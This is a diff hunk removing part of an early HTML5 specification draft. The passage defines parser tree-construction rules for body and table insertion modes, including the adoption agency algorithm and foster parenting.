-        <p>If the <a href="#list-of2">list of active formatting elements</a>
-         contains an element whose tag name is "a" between the end of the
-         list and the last marker on the list (or the start of the list if
-         there is no marker on the list), then this is a <a
-         href="#parse">parse error</a>; act as if an end tag with the tag
-         name "a" had been seen, then remove that element from the <a
-         href="#list-of2">list of active formatting elements</a> and the <a
-         href="#stack">stack of open elements</a> if the end tag didn't
-         already remove it (it might not have if the element is not <a
-         href="#have-an0" title="has an element in table scope">in table
-         scope</a>).</p>
-
-        <p class=example>In the non-conforming stream
-         <code>AMPERSANDlt;aAMPERSANDnbsp;href="a">aAMPERSANDlt;table>AMPERSANDlt;aAMPERSANDnbsp;href="b">bAMPERSANDlt;/table>x</code>,
-         the first <code><a href="#a0">a</a></code> element would be closed
-         upon seeing the second one, and the "x" character would be inside a
-         link to "b", not to "a". This is despite the fact that the outer
-         <code><a href="#a0">a</a></code> element is not in table scope
-         (meaning that a regular <code>AMPERSANDlt;/a></code> end tag at the start of
-         the table wouldn't close the outer <code><a href="#a0">a</a></code>
-         element).</p>
-
-        <p><a href="#reconstruct">Reconstruct the active formatting
-         elements</a>, if any.</p>
-
-        <p><a href="#insert" title="insert an html element">Insert an HTML
-         element</a> for the token. Add that element to the <a
-         href="#list-of2">list of active formatting elements</a>.</p>
-
-       <dt>A start tag whose tag name is one of: "b", "big", "em", "font",
-        "i", "nobr", "s", "small", "strike", "strong", "tt", "u"
-
-       <dd>
-        <p><a href="#reconstruct">Reconstruct the active formatting
-         elements</a>, if any.</p>
-
-        <p><a href="#insert" title="insert an html element">Insert an HTML
-         element</a> for the token. Add that element to the <a
-         href="#list-of2">list of active formatting elements</a>.</p>
-
-       <dt id=adoptionAgency>An end tag whose tag name is one of: "a", "b",
-        "big", "em", "font", "i", "nobr", "s", "small", "strike", "strong",
-        "tt", "u"
-
-       <dd>
-        <p>Follow these steps:</p>
-
-        <ol>
-         <li>
-          <p>Let the <var title="">formatting element</var> be the last
-           element in the <a href="#list-of2">list of active formatting
-           elements</a> that:</p>
-
-          <ul>
-           <li>is between the end of the list and the last scope marker in
-            the list, if any, or the start of the list otherwise, and
-
-           <li>has the same tag name as the token.
-          </ul>
-
-          <p>If there is no such node, or, if that node is also in the <a
-           href="#stack">stack of open elements</a> but the element is not <a
-           href="#have-an" title="has an element in scope">in scope</a>, then
-           this is a <a href="#parse">parse error</a>. Abort these steps. The
-           token is ignored.</p>
-
-          <p>Otherwise, if there is such a node, but that node is not in the
-           <a href="#stack">stack of open elements</a>, then this is a <a
-           href="#parse">parse error</a>; remove the element from the list,
-           and abort these steps.</p>
-
-          <p>Otherwise, there is a <var title="">formatting element</var> and
-           that element is in <a href="#stack" title="stack of open
-           elements">the stack</a> and is <a href="#have-an" title="has an
-           element in scope">in scope</a>. If the element is not the <a
-           href="#current3">current node</a>, this is a <a
-           href="#parse">parse error</a>. In any case, proceed with the
-           algorithm as written in the following steps.</p>
-
-         <li>
-          <p>Let the <var title="">furthest block</var> be the topmost node
-           in the <a href="#stack">stack of open elements</a> that is lower
-           in the stack than the <var title="">formatting element</var>, and
-           is not an element in the <a href="#phrasing">phrasing</a> or <a
-           href="#formatting">formatting</a> categories. There might not be
-           one.
-
-         <li>
-          <p>If there is no <var title="">furthest block</var>, then the UA
-           must skip the subsequent steps and instead just pop all the nodes
-           from the bottom of the <a href="#stack">stack of open
-           elements</a>, from the <a href="#current3">current node</a> up to
-           the <var title="">formatting element</var>, and remove the <var
-           title="">formatting element</var> from the <a
-           href="#list-of2">list of active formatting elements</a>.
-
-         <li>
-          <p>Let the <var title="">common ancestor</var> be the element
-           immediately above the <var title="">formatting element</var> in
-           the <a href="#stack">stack of open elements</a>.
-
-         <li>
-          <p>If the <var title="">furthest block</var> has a parent node,
-           then remove the <var title="">furthest block</var> from its parent
-           node.
-
-         <li>
-          <p>Let a bookmark note the position of the <var title="">formatting
-           element</var> in the <a href="#list-of2">list of active formatting
-           elements</a> relative to the elements on either side of it in the
-           list.
-
-         <li>
-          <p>Let <var title="">node</var> and <var title="">last node</var>
-           be the <var title="">furthest block</var>. Follow these steps:</p>
-
-          <ol>
-           <li>Let <var title="">node</var> be the element immediately prior
-            to <var title="">node</var> in the <a href="#stack">stack of open
-            elements</a>.
-
-           <li>If <var title="">node</var> is not in the <a
-            href="#list-of2">list of active formatting elements</a>, then
-            remove <var title="">node</var> from the <a href="#stack">stack
-            of open elements</a> and then go back to step 1.
-
-           <li>Otherwise, if <var title="">node</var> is the <var
-            title="">formatting element</var>, then go to the next step in
-            the overall algorithm.
-
-           <li>Otherwise, if <var title="">last node</var> is the <var
-            title="">furthest block</var>, then move the aforementioned
-            bookmark to be immediately after the <var title="">node</var> in
-            the <a href="#list-of2">list of active formatting elements</a>.
-
-           <li>If <var title="">node</var> has any children, perform a
-            shallow clone of <var title="">node</var>, replace the entry for
-            <var title="">node</var> in the <a href="#list-of2">list of
-            active formatting elements</a> with an entry for the clone,
-            replace the entry for <var title="">node</var> in the <a
-            href="#stack">stack of open elements</a> with an entry for the
-            clone, and let <var title="">node</var> be the clone.
-
-           <li>Insert <var title="">last node</var> into <var
-            title="">node</var>, first removing it from its previous parent
-            node if any.
-
-           <li>Let <var title="">last node</var> be <var title="">node</var>.
-
-           <li>Return to step 1 of this inner set of steps.
-          </ol>
-
-         <li>
-          <p>Insert whatever <var title="">last node</var> ended up being in
-           the previous step into the <var title="">common ancestor</var>
-           node, first removing it from its previous parent node if any.
-
-         <li>
-          <p>Perform a shallow clone of the <var title="">formatting
-           element</var>.
-
-         <li>
-          <p>Take all of the child nodes of the <var title="">furthest
-           block</var> and append them to the clone created in the last step.
-
-         <li>
-          <p>Append that clone to the <var title="">furthest block</var>.
-
-         <li>
-          <p>Remove the <var title="">formatting element</var> from the <a
-           href="#list-of2">list of active formatting elements</a>, and
-           insert the clone into the <a href="#list-of2">list of active
-           formatting elements</a> at the position of the aforementioned
-           bookmark.
-
-         <li>
-          <p>Remove the <var title="">formatting element</var> from the <a
-           href="#stack">stack of open elements</a>, and insert the clone
-           into the <a href="#stack">stack of open elements</a> immediately
-           after (i.e. in a more deeply nested position than) the position of
-           the <var title="">furthest block</var> in that stack.
-
-         <li>
-          <p>Jump back to step 1 in this series of steps.
-        </ol>
-
-        <p class=note>The way these steps are defined, only elements in the
-         <a href="#formatting">formatting</a> category ever get cloned by
-         this algorithm.</p>
-        <!--XXX
-        <div class="example">
-         <p class="big-issue">Need an example.</p>
-        </div>
--->
-        
-        <p class=note>Because of the way this algorithm causes elements to
-         change parents, it has been dubbed the "adoption agency algorithm"
-         (in contrast with other possibly algorithms for dealing with
-         misnested content, which included the "incest algorithm", the
-         "secret affair algorithm", and the "Heisenberg algorithm").</p>
-
-       <dt>A start tag token whose tag name is "button"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an" title="has an element in scope">has a
-         <code>button</code> element in scope</a>, then this is a <a
-         href="#parse">parse error</a>; act as if an end tag with the tag
-         name "button" had been seen, then reprocess the token.</p>
-
-        <p>Otherwise:</p>
-
-        <p><a href="#reconstruct">Reconstruct the active formatting
-         elements</a>, if any.</p>
-
-        <p><a href="#insert">Insert an HTML element</a> for the token.</p>
-
-        <p>Insert a marker at the end of the <a href="#list-of2">list of
-         active formatting elements</a>.</p>
-
-       <dt>A start tag token whose tag name is one of: "marquee", "object"
-
-       <dd>
-        <p><a href="#reconstruct">Reconstruct the active formatting
-         elements</a>, if any.</p>
-
-        <p><a href="#insert">Insert an HTML element</a> for the token.</p>
-
-        <p>Insert a marker at the end of the <a href="#list-of2">list of
-         active formatting elements</a>.</p>
-
-       <dt>An end tag token whose tag name is one of: "button", "marquee",
-        "object"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an" title="has an element in scope">has in scope</a> an
-         element whose tag name is the same as the tag name of the token,
-         then <a href="#generate">generate implied end tags</a>.</p>
-
-        <p>Now, if the <a href="#current3">current node</a> is not an element
-         with the same tag name as the token, then this is a <a
-         href="#parse">parse error</a>.</p>
-
-        <p>Now, if the <a href="#stack">stack of open elements</a> <a
-         href="#have-an">has an element in scope</a> whose tag name matches
-         the tag name of the token, then pop elements from the stack until
-         that element has been popped from the stack, and <a
-         href="#clear0">clear the list of active formatting elements up to
-         the last marker</a>.</p>
-
-       <dt>A start tag token whose tag name is "xmp"
-
-       <dd>
-        <p><a href="#reconstruct">Reconstruct the active formatting
-         elements</a>, if any.</p>
-
-        <p><a href="#insert">Insert an HTML element</a> for the token.</p>
-
-        <p>Switch the <a href="#content2">content model flag</a> to the CDATA
-         state.</p>
-
-       <dt>A start tag whose tag name is "table"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an" title="has an element in scope">has a <code>p</code>
-         element in scope</a>, then act as if an end tag with the tag name
-         <code><a href="#p0">p</a></code> had been seen.</p>
-        <!-- XXX quirks: don't do this -->
-        <p><a href="#insert">Insert an HTML element</a> for the token.</p>
-
-        <p>Change the <a href="#insertion0">insertion mode</a> to "<a
-         href="#in-table" title="insertion mode: in table">in table</a>".</p>
-
-       <dt>A start tag whose tag name is one of: "area", "basefont",
-        "bgsound", "br", "embed", "img", "param", "spacer", "wbr"
-
-       <dd>
-        <p><a href="#reconstruct">Reconstruct the active formatting
-         elements</a>, if any.</p>
-
-        <p><a href="#insert" title="insert an html element">Insert an HTML
-         element</a> for the token. Immediately pop the <a
-         href="#current3">current node</a> off the <a href="#stack">stack of
-         open elements</a>.</p>
-
-       <dt>A start tag whose tag name is "hr"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an" title="has an element in scope">has a <code>p</code>
-         element in scope</a>, then act as if an end tag with the tag name
-         <code><a href="#p0">p</a></code> had been seen.</p>
-        <!-- XXX quirks: don't do this -->
-        <p><a href="#insert" title="insert an html element">Insert an HTML
-         element</a> for the token. Immediately pop the <a
-         href="#current3">current node</a> off the <a href="#stack">stack of
-         open elements</a>.</p>
-
-       <dt>A start tag whose tag name is "image"
-
-       <dd>
-        <p><a href="#parse">Parse error</a>. Change the token's tag name to
-         "img" and reprocess it. (Don't ask.)</p>
-        <!-- As of
-        2005-12, studies showed that around 0.2% of pages used the
-        <image> element. -->
-        
-
-       <dt>A start tag whose tag name is "input"
-
-       <dd>
-        <p><a href="#reconstruct">Reconstruct the active formatting
-         elements</a>, if any.</p>
-
-        <p><a href="#insert" title="insert an html element">Insert an
-         <code>input</code> element</a> for the token.</p>
-
-        <p>If the <a href="#form-element"><code title="">form</code> element
-         pointer</a> is not null, then <span>associate</span><!--XXX
-        xref! -->
-         the <code>input</code> element with the <code>form</code> element
-         pointed to by the <a href="#form-element"><code title="">form</code>
-         element pointer</a>.</p>
-
-        <p>Pop that <code>input</code> element off the <a href="#stack">stack
-         of open elements</a>.</p>
-
-       <dt id=isindex>A start tag whose tag name is "isindex"
-
-       <dd>
-        <p><a href="#parse">Parse error</a>.</p>
-
-        <p>If the <a href="#form-element"><code title="">form</code> element
-         pointer</a> is not null, then ignore the token.</p>
-
-        <p>Otherwise:</p>
-
-        <p>Act as if a start tag token with the tag name "form" had been
-         seen.</p>
-
-        <p>Act as if a start tag token with the tag name "hr" had been seen.</p>
-
-        <p>Act as if a start tag token with the tag name "p" had been seen.</p>
-
-        <p>Act as if a start tag token with the tag name "label" had been
-         seen.</p>
-
-        <p>Act as if a stream of character tokens had been seen (see below
-         for what they should say).</p>
-
-        <p>Act as if a start tag token with the tag name "input" had been
-         seen, with all the attributes from the "isindex" token, except with
-         the "name" attribute set to the value "isindex" (ignoring any
-         explicit "name" attribute).</p>
-
-        <p>Act as if a stream of character tokens had been seen (see below
-         for what they should say).</p>
-
-        <p>Act as if an end tag token with the tag name "label" had been
-         seen.</p>
-
-        <p>Act as if an end tag token with the tag name "p" had been seen.</p>
-
-        <p>Act as if a start tag token with the tag name "hr" had been seen.</p>
-
-        <p>Act as if an end tag token with the tag name "form" had been seen.</p>
-
-        <p>The two streams of character tokens together should, together with
-         the <code>input</code> element, express the equivalent of "This is a
-         searchable index. Insert your search keywords here: (input field)"
-         in the user's preferred language.</p>
-
-        <p class=big-issue> Then need to specify that if the form submission
-         causes just a single form control, whose name is "isindex", to be
-         submitted, then we submit just the value part, not the "isindex="
-         part.</p>
-       </dd>
-       <!-- XXX keygen support; don't forget form element pointer!
-
-       <dt>A start tag whose tag name is "keygen"</dt>
-       <dd>
-        ...
-       </dd>
--->
-
-       <dt>A start tag whose tag name is "textarea"
-
-       <dd>
-        <p><a href="#create">Create an element for the token</a>.</p>
-
-        <p>If the <a href="#form-element"><code title="">form</code> element
-         pointer</a> is not null, then <span>associate</span><!--XXX
-        xref! -->
-         the <code>textarea</code> element with the <code>form</code> element
-         pointed to by the <a href="#form-element"><code title="">form</code>
-         element pointer</a>.</p>
-
-        <p>Append the new element to the <a href="#current3">current
-         node</a>.</p>
-
-        <p>Switch the tokeniser's <a href="#content2">content model flag</a>
-         to the RCDATA state.</p>
-
-        <p>Then, collect all the character tokens that the tokeniser returns
-         until it returns a token that is not a character token, or until it
-         stops tokenising.</p>
-
-        <p>If this process resulted in a collection of character tokens,
-         append a single <code>Text</code> node, whose contents is the
-         concatenation of all those tokens' characters, to the new element
-         node.</p>
-
-        <p>The tokeniser's <a href="#content2">content model flag</a> will
-         have switched back to the PCDATA state.</p>
-
-        <p>If the next token is an end tag token with the tag name
-         "textarea", ignore it.</p>
-
-       <dt>A start tag whose tag name is one of: "iframe", "noembed",
-        "noframes"
-
-       <dt>A start tag whose tag name is "noscript", if <a
-        href="#scripting2">scripting is enabled</a>:
-
-       <dd>
-        <p><a href="#create">Create an element for the token</a>.</p>
-
-        <p>For "iframe" tags, the node must be an <code><a
-         href="#htmliframeelement">HTMLIFrameElement</a></code> object, for
-         the other tags it must be an <code><a
-         href="#htmlelement">HTMLElement</a></code> object.</p>
-
-        <p>Append the new element to the <a href="#current3">current
-         node</a>.</p>
-
-        <p>Switch the tokeniser's <a href="#content2">content model flag</a>
-         to the CDATA state.</p>
-
-        <p>Then, collect all the character tokens that the tokeniser returns
-         until it returns a token that is not a character token, or until it
-         stops tokenising.</p>
-
-        <p>If this process resulted in a collection of character tokens,
-         append a single <code>Text</code> node, whose contents is the
-         concatenation of all those tokens' characters, to the new element
-         node.</p>
-
-        <p>The tokeniser's <a href="#content2">content model flag</a> will
-         have switched back to the PCDATA state.</p>
-
-        <p>If the next token is an end tag token with the same tag name as
-         the start tag token, ignore it.</p>
-
-        <p class=big-issue>Need something here for when scripting is
-         disabled.</p>
-
-       <dt>A start tag whose tag name is "select"
-
-       <dd>
-        <p><a href="#reconstruct">Reconstruct the active formatting
-         elements</a>, if any.</p>
-
-        <p><a href="#insert">Insert an HTML element</a> for the token.</p>
-
-        <p>Change the <a href="#insertion0">insertion mode</a> to "<a
-         href="#in-select" title="insertion mode: in select">in select</a>".</p>
-       </dd>
-       <!-- XXX quirks:
-       <dt>An end tag whose tag name is "br"</dt>
-       <dd>
-        <p>Act as if a start tag token with the tag name "br" had been
-        seen. Ignore the end tag token.</p>
-       </dd>
--->
-
-       <dt>A start or end tag whose tag name is one of: "caption", "col",
-        "colgroup", "frame", "frameset", "head", "option", "optgroup",
-        "tbody", "td", "tfoot", "th", "thead", "tr"
-
-       <dt>An end tag whose tag name is one of: "area", "basefont",
-        "bgsound", <!--XXX quirks: remove br-->"br", "embed", "hr", "iframe",
-        "image", "img", "input", "isindex", "noembed", "noframes", "param",
-        "select", "spacer", "table", "textarea", "wbr"</dt>
-       <!-- add keygen if we add the start tag -->
-
-       <dt>An end tag whose tag name is "noscript", if <a
-        href="#scripting2">scripting is enabled</a>:
-
-       <dd>
-        <p><a href="#parse">Parse error</a>. Ignore the token.</p>
-
-       <dt>A start or end tag whose tag name is one of: "event-source",
-        "section", "nav", "article", "aside", "header", "footer", "datagrid",
-        "command"
-
-       <dd> <!-- XXXX -->
-        <p class=big-issue>Work in progress!</p>
-
-       <dt>A start tag token not covered by the previous entries
-
-       <dd>
-        <p><a href="#reconstruct">Reconstruct the active formatting
-         elements</a>, if any.</p>
-
-        <p><a href="#insert">Insert an HTML element</a> for the token.</p>
-
-        <p class=note>This element will be a <a href="#phrasing">phrasing</a>
-         element.</p>
-        <!--
-Put the following into the MathML namespace if parsed:
-   math, mrow, mfrac, msqrt, mroot, mstyle, merror, mpadded, 
-   mphantom, mfenced, menclose, msub, msup, msubsup, munder, 
-   mover, munderover, mmultiscripts, mtable, mlabeledtr, mtr, 
-   mtd, maction
--->
-        
-
-       <dt>An end tag token not covered by the previous entries
-
-       <dd>
-        <p>Run the following algorithm:</p>
-
-        <ol>
-         <li>
-          <p>Initialise <var title="">node</var> to be the <a
-           href="#current3">current node</a> (the bottommost node of the
-           stack).
-
-         <li>
-          <p>If <var title="">node</var> has the same tag name as the end tag
-           token, then:</p>
-
-          <ol>
-           <li>
-            <p><a href="#generate">Generate implied end tags</a>.
-
-           <li>
-            <p>If the tag name of the end tag token does not match the tag
-             name of the <a href="#current3">current node</a>, this is a <a
-             href="#parse">parse error</a>.
-
-           <li>
-            <p>Pop all the nodes from the <a href="#current3">current
-             node</a> up to <var title="">node</var>, including <var
-             title="">node</var>, then stop this algorithm.
-          </ol>
-
-         <li>
-          <p>Otherwise, if <var title="">node</var> is in neither the <a
-           href="#formatting">formatting</a> category nor the <a
-           href="#phrasing">phrasing</a> category, then this is a <a
-           href="#parse">parse error</a>. Stop this algorithm. The end tag
-           token is ignored.
-
-         <li>
-          <p>Set <var title="">node</var> to the previous entry in the <a
-           href="#stack">stack of open elements</a>.
-
-         <li>
-          <p>Return to step 2.
-        </ol>
-      </dl>
-
-     <dt id=parsing-main-intable>If the <a href="#insertion0">insertion
-      mode</a> is "<dfn id=in-table title="insertion mode: in table">in
-      table</dfn>"
-
-     <dd>
-      <dl class=switch>
-       <dt>A character token that is one of one of U+0009 CHARACTER
-        TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C
-        FORM FEED (FF), or U+0020 SPACE
-
-       <dd>
-        <p><a href="#append" title="append a character">Append the
-         character</a> to the <a href="#current3">current node</a>.</p>
-
-       <dt>A comment token
-
-       <dd>
-        <p>Append a <code>Comment</code> node to the <a
-         href="#current3">current node</a> with the <code
-         title="">data</code> attribute set to the data given in the comment
-         token.</p>
-
-       <dt>A start tag whose tag name is "caption"
-
-       <dd>
-        <p><a href="#clear1">Clear the stack back to a table context</a>.
-         (See below.)</p>
-
-        <p>Insert a marker at the end of the <a href="#list-of2">list of
-         active formatting elements</a>.</p>
-
-        <p><a href="#insert">Insert an HTML element</a> for the token, then
-         switch the <a href="#insertion0">insertion mode</a> to "<a
-         href="#in-caption" title="insertion mode: in caption">in
-         caption</a>".</p>
-
-       <dt>A start tag whose tag name is "colgroup"
-
-       <dd>
-        <p><a href="#clear1">Clear the stack back to a table context</a>.
-         (See below.)</p>
-
-        <p><a href="#insert">Insert an HTML element</a> for the token, then
-         switch the <a href="#insertion0">insertion mode</a> to "<a
-         href="#in-column" title="insertion mode: in column group">in column
-         group</a>".</p>
-
-       <dt>A start tag whose tag name is "col"
-
-       <dd>
-        <p>Act as if a start tag token with the tag name "colgroup" had been
-         seen, then reprocess the current token.</p>
-
-       <dt>A start tag whose tag name is one of: "tbody", "tfoot", "thead"
-
-       <dd>
-        <p><a href="#clear1">Clear the stack back to a table context</a>.
-         (See below.)</p>
-
-        <p><a href="#insert">Insert an HTML element</a> for the token, then
-         switch the <a href="#insertion0">insertion mode</a> to "<a
-         href="#in-table0" title="insertion mode: in table body">in table
-         body</a>".</p>
-
-       <dt>A start tag whose tag name is one of: "td", "th", "tr"
-
-       <dd>
-        <p>Act as if a start tag token with the tag name "tbody" had been
-         seen, then reprocess the current token.</p>
-
-       <dt>A start tag whose tag name is "table"
-
-       <dd>
-        <p><a href="#parse">Parse error</a>. Act as if an end tag token with
-         the tag name "table" had been seen, then, if that token wasn't
-         ignored, reprocess the current token.</p>
-
-        <p class=note>The fake end tag token here can only be ignored in the
-         <a href="#innerhtml1"><code>innerHTML</code> case</a>.</p>
-
-       <dt>An end tag whose tag name is "table"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> does not <a
-         href="#have-an0" title="has an element in table scope">have an
-         element in table scope</a> with the same tag name as the token, this
-         is a <a href="#parse">parse error</a>. Ignore the token. (<a
-         href="#innerhtml1"><code>innerHTML</code> case</a>)</p>
-
-        <p>Otherwise:</p>
-
-        <p><a href="#generate">Generate implied end tags</a>.</p>
-
-        <p>Now, if the <a href="#current3">current node</a> is not a <code><a
-         href="#table0">table</a></code> element, then this is a <a
-         href="#parse">parse error</a>.</p>
-
-        <p>Pop elements from this stack until a <code><a
-         href="#table0">table</a></code> element has been popped from the
-         stack.</p>
-
-        <p><a href="#reset">Reset the insertion mode appropriately</a>.</p>
-
-       <dt>An end tag whose tag name is one of: "body", "caption", "col",
-        "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr"
-
-       <dd>
-        <p><a href="#parse">Parse error</a>. Ignore the token.</p>
-
-       <dt>Anything else
-
-       <dd>
-        <p><a href="#parse">Parse error</a>. Process the token as if the <a
-         href="#insertion0">insertion mode</a> was "<a href="#in-body"
-         title="insertion mode: in body">in body</a>", with the following
-         exception:</p>
-
-        <p>If the <a href="#current3">current node</a> is a <code><a
-         href="#table0">table</a></code>, <code><a
-         href="#tbody0">tbody</a></code>, <code><a
-         href="#tfoot1">tfoot</a></code>, <code><a
-         href="#thead1">thead</a></code>, or <code><a
-         href="#tr0">tr</a></code> element, then, whenever a node would be
-         inserted into the <a href="#current3">current node</a>, it must
-         instead be inserted into the <em><a href="#foster">foster parent
-         element</a></em>.</p>
-
-        <p>The <dfn id=foster>foster parent element</dfn> is the parent
-         element of the last <code><a href="#table0">table</a></code> element
-         in the <a href="#stack">stack of open elements</a>, if there is a
-         <code><a href="#table0">table</a></code> element and it has such a
-         parent element. If there is no <code><a
-         href="#table0">table</a></code> element in the <a
-         href="#stack">stack of open elements</a> (<a
-         href="#innerhtml1"><code>innerHTML</code> case</a>), then the <em><a
-         href="#foster">foster parent element</a></em> is the first element
-         in the <a href="#stack">stack of open elements</a> (the <code><a
-         href="#html0">html</a></code> element). Otherwise, if there is a
-         <code><a href="#table0">table</a></code> element in the <a
-         href="#stack">stack of open elements</a>, but the last <code><a
-         href="#table0">table</a></code> element in the <a
-         href="#stack">stack of open elements</a> has no parent, or its
-         parent node is not an element, then the <em><a href="#foster">foster
-         parent element</a></em> is the element before the last <code><a
-         href="#table0">table</a></code> element in the <a
-         href="#stack">stack of open elements</a>.</p>
-
-        <p>If the <em><a href="#foster">foster parent element</a></em> is the
-         parent element of the last <code><a href="#table0">table</a></code>
-         element in the <a href="#stack">stack of open elements</a>, then the
-         new node must be inserted immediately <em>before</em> the last
-         <code><a href="#table0">table</a></code> element in the <a
-         href="#stack">stack of open elements</a> in the <a
-         href="#foster">foster parent element</a>; otherwise, the new node
-         must be <em>appended</em> to the <a href="#foster">foster parent
-         element</a>.</p>
-      </dl>
-
-      <p>When the steps above require the UA to <dfn id=clear1>clear the
-       stack back to a table context</dfn>, it means that the UA must, while
-       the <a href="#current3">current node</a> is not a <code><a
-       href="#table0">table</a></code> element or an <code><a
-       href="#html0">html</a></code> element, pop elements from the <a
-       href="#stack">stack of open elements</a>. If this causes any elements
-       to be popped from the stack, then this is a <a href="#parse">parse
-       error</a>.</p>
-
-      <p class=note>The <a href="#current3">current node</a> being an
-       <code><a href="#html0">html</a></code> element after this process is
-       an <a href="#innerhtml1"><code>innerHTML</code> case</a>.</p>
-
-     <dt id=parsing-main-incaption>If the <a href="#insertion0">insertion
-      mode</a> is "<dfn id=in-caption title="insertion mode: in caption">in
-      caption</dfn>"
-
-     <dd>
-      <dl class=switch>
-       <dt>An end tag whose tag name is "caption"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> does not <a
-         href="#have-an0" title="has an element in table scope">have an
-         element in table scope</a> with the same tag name as the token, this
-         is a <a href="#parse">parse error</a>. Ignore the token. (<a
-         href="#innerhtml1"><code>innerHTML</code> case</a>)</p>
-
-        <p>Otherwise:</p>
-
-        <p><a href="#generate">Generate implied end tags</a>.</p>
-
-        <p>Now, if the <a href="#current3">current node</a> is not a <code><a
-         href="#caption1">caption</a></code> element, then this is a <a
-         href="#parse">parse error</a>.</p>
-
-        <p>Pop elements from this stack until a <code><a
-         href="#caption1">caption</a></code> element has been popped from the
-         stack.</p>
-
-        <p><a href="#clear0">Clear the list of active formatting elements up
-         to the last marker</a>.</p>
-
-        <p>Switch the <a href="#insertion0">insertion mode</a> to "<a
-         href="#in-table" title="insertion mode: in table">in table</a>".</p>
-
-       <dt>A start tag whose tag name is one of: "caption", "col",
-        "colgroup", "tbody", "td", "tfoot", "th", "thead", "tr"
-
-       <dt>An end tag whose tag name is "table"
-
-       <dd>
-        <p><a href="#parse">Parse error</a>. Act as if an end tag with the
-         tag name "caption" had been seen, then, if that token wasn't
-         ignored, reprocess the current token.</p>
-
-        <p class=note>The fake end tag token here can only be ignored in the
-         <a href="#innerhtml1"><code>innerHTML</code> case</a>.</p>
-
-       <dt>An end tag whose tag name is one of: "body", "col", "colgroup",
-        "html", "tbody", "td", "tfoot", "th", "thead", "tr"
-
-       <dd>
-        <p><a href="#parse">Parse error</a>. Ignore the token.</p>
-
-       <dt>Anything else
-
-       <dd>
-        <p>Process the token as if the <a href="#insertion0">insertion
-         mode</a> was "<a href="#in-body" title="insertion mode: in body">in
-         body</a>".</p>
-      </dl>
-
-     <dt id=parsing-main-incolgroup>If the <a href="#insertion0">insertion
-      mode</a> is "<dfn id=in-column title="insertion mode: in column
-      group">in column group</dfn>"
-
-     <dd>
-      <dl class=switch>
-       <dt>A character token that is one of one of U+0009 CHARACTER
-        TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C
-        FORM FEED (FF), or U+0020 SPACE
-
-       <dd>
-        <p><a href="#append" title="append a character">Append the
-         character</a> to the <a href="#current3">current node</a>.</p>
-
-       <dt>A comment token
-
-       <dd>
-        <p>Append a <code>Comment</code> node to the <a
-         href="#current3">current node</a> with the <code
-         title="">data</code> attribute set to the data given in the comment
-         token.</p>
-
-       <dt>A start tag whose tag name is "col"
-
-       <dd>
-        <p><a href="#insert" title="insert an HTML element">Insert a
-         <code>col</code> element</a> for the token. Immediately pop the <a
-         href="#current3">current node</a> off the <a href="#stack">stack of
-         open elements</a>.</p>
-
-       <dt>An end tag whose tag name is "colgroup"
-
-       <dd>
-        <p>If the <a href="#current3">current node</a> is the root <code><a
-         href="#html0">html</a></code> element, then this is a <a
-         href="#parse">parse error</a>, ignore the token. (<a
-         href="#innerhtml1"><code>innerHTML</code> case</a>)</p>
-
-        <p>Otherwise, pop the <a href="#current3">current node</a> (which
-         will be a <code><a href="#colgroup0">colgroup</a></code> element)
-         from the <a href="#stack">stack of open elements</a>. Switch the <a
-         href="#insertion0">insertion mode</a> to "<a href="#in-table"
-         title="insertion mode: in table">in table</a>".</p>
-
-       <dt>An end tag whose tag name is "col"
-
-       <dd>
-        <p><a href="#parse">Parse error</a>. Ignore the token.</p>
-
-       <dt>Anything else
-
-       <dd>
-        <p>Act as if an end tag with the tag name "colgroup" had been seen,
-         and then, if that token wasn't ignored, reprocess the current token.</p>
-
-        <p class=note>The fake end tag token here can only be ignored in the
-         <a href="#innerhtml1"><code>innerHTML</code> case</a>.</p>
-      </dl>
-
-     <dt id=parsing-main-intbody>If the <a href="#insertion0">insertion
-      mode</a> is "<dfn id=in-table0 title="insertion mode: in table body">in
-      table body</dfn>"
-
-     <dd>
-      <dl class=switch>
-       <dt>A start tag whose tag name is "tr"
-
-       <dd>
-        <p><a href="#clear2">Clear the stack back to a table body
-         context</a>. (See below.)</p>
-
-        <p><a href="#insert" title="insert an HTML element">Insert a
-         <code>tr</code> element</a> for the token, then switch the <a
-         href="#insertion0">insertion mode</a> to "<a href="#in-row"
-         title="insertion mode: in row">in row</a>".</p>
-
-       <dt>A start tag whose tag name is one of: "th", "td"
-
-       <dd>
-        <p><a href="#parse">Parse error</a>. Act as if a start tag with the
-         tag name "tr" had been seen, then reprocess the current token.</p>
-
-       <dt>An end tag whose tag name is one of: "tbody", "tfoot", "thead"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> does not <a
-         href="#have-an0" title="has an element in table scope">have an
-         element in table scope</a> with the same tag name as the token, this
-         is a <a href="#parse">parse error</a>. Ignore the token.</p>
-
-        <p>Otherwise:</p>
-
-        <p><a href="#clear2">Clear the stack back to a table body
-         context</a>. (See below.)</p>
-
-        <p>Pop the <a href="#current3">current node</a> from the <a
-         href="#stack">stack of open elements</a>. Switch the <a
-         href="#insertion0">insertion mode</a> to "<a href="#in-table"
-         title="insertion mode: in table">in table</a>".</p>
-
-       <dt>A start tag whose tag name is one of: "caption", "col",
-        "colgroup", "tbody", "tfoot", "thead"
-
-       <dt>An end tag whose tag name is "table"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> does not <a
-         href="#have-an0" title="has an element in table scope">have a
-         <code>tbody</code>, <code>thead</code>, or <code>tfoot</code>
-         element in table scope</a>, this is a <a href="#parse">parse
-         error</a>. Ignore the token. (<a
-         href="#innerhtml1"><code>innerHTML</code> case</a>)</p>
-
-        <p>Otherwise:</p>
-
-        <p><a href="#clear2">Clear the stack back to a table body
-         context</a>. (See below.)</p>
-
-        <p>Act as if an end tag with the same tag name as the <a
-         href="#current3">current node</a> ("tbody", "tfoot", or "thead") had
-         been seen, then reprocess the current token.</p>
-
-       <dt>An end tag whose tag name is one of: "body", "caption", "col",
-        "colgroup", "html", "td", "th", "tr"
-
-       <dd>
